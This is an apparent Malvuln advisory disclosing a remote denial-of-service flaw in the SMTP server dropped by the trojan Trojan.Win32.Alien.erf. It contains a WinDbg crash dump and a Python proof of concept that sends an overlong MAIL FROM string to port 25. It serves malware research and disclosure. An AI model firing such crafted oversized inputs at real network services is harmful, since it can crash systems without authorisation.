Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/57ab194d8c60ee97914eda22e4d71b68.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Alien.erf
Vulnerability: Remote Denial of Service 
Description: The malware deploys a SMTP server JAOSrv821.exe listening on TCP port 25. Third-party attackers who can reach an infected host can trigger a denial of service by sending a corrupted MAIL FROM: address packet.
Type: PE32
MD5: 57ab194d8c60ee97914eda22e4d71b68
Vuln ID: MVID-2021-0251 
ASLR: False
DEP: True
Safe SEH: True
Disclosure: 06/16/2021

Memory Dump:
(a88.190): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffffff edx=032f6f60 esi=00000003 edi=00000003
eip=7725ed3c esp=032f65e4 ebp=032f6774 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7725ed3c c21400          ret     14h

0:005> .ecxr
eax=ffffffff ebx=ffffffff ecx=ffffffff edx=032f6f60 esi=00000001 edi=032f6f60
eip=00eb2bbc esp=032f6f20 ebp=032f70d0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
*** ERROR: Module load completed but symbols could not be loaded for JAOSrv821.exe
JAOSrv821+0x2bbc:
00eb2bbc 8a06            mov     al,byte ptr [esi]          ds:002b:00000001=??

0:005> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
JAOSrv821+2bbc
00eb2bbc 8a06            mov     al,byte ptr [esi]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00eb2bbc (JAOSrv821+0x00002bbc)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000001
Attempt to read from address 00000001

PROCESS_NAME:  JAOSrv821.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000001

READ_ADDRESS:  00000001 

FOLLOWUP_IP: 
JAOSrv821+2bbc
00eb2bbc 8a06            mov     al,byte ptr [esi]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000190

BUGCHECK_STR:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER:  from 00eb193b to 00eb2bbc

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
032f70d0 00eb193b 7500e250 00eb1384 00eb12a0 JAOSrv821+0x2bbc
0330f8f4 745b8654 00000234 745b8630 015f4608 JAOSrv821+0x193b
0330f908 77254a77 00000234 2c193258 00000000 kernel32!BaseThreadInitThunk+0x24
0330f950 77254a47 ffffffff 77279edf 00000000 ntdll!__RtlUserThreadStart+0x2f
0330f960 00000000 00eb12a0 00000234 00000000 ntdll!_RtlUserThreadStart+0x1b

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  JAOSrv821+2bbc

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: JAOSrv821

IMAGE_NAME:  JAOSrv821.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  59fb4459

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~5s; .ecxr ; kb

FAILURE_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_FILL_PATTERN_ffffffff_c0000005_JAOSrv821.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_ffffffff_JAOSrv821+2bbc


Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=25

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        if "\0" in res or "\n" in res or res == "" or "OK" in res:
            break
    return res

def doit():

    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD = "EHLO\r\n"
    s.send(PAYLOAD)
    
    print(chk_res(s))
    
    time.sleep(1)
    PAYLOAD = "MAIL FROM:" + "A"*128+"@"+"A"*256+".hate"

    s.send(PAYLOAD)

    print("Trojan.Win32.Alien.erf / Remote DoS")
    print("MD5: 57ab194d8c60ee97914eda22e4d71b68")
    print("By Malvuln")

if __name__=="__main__":
    doit()


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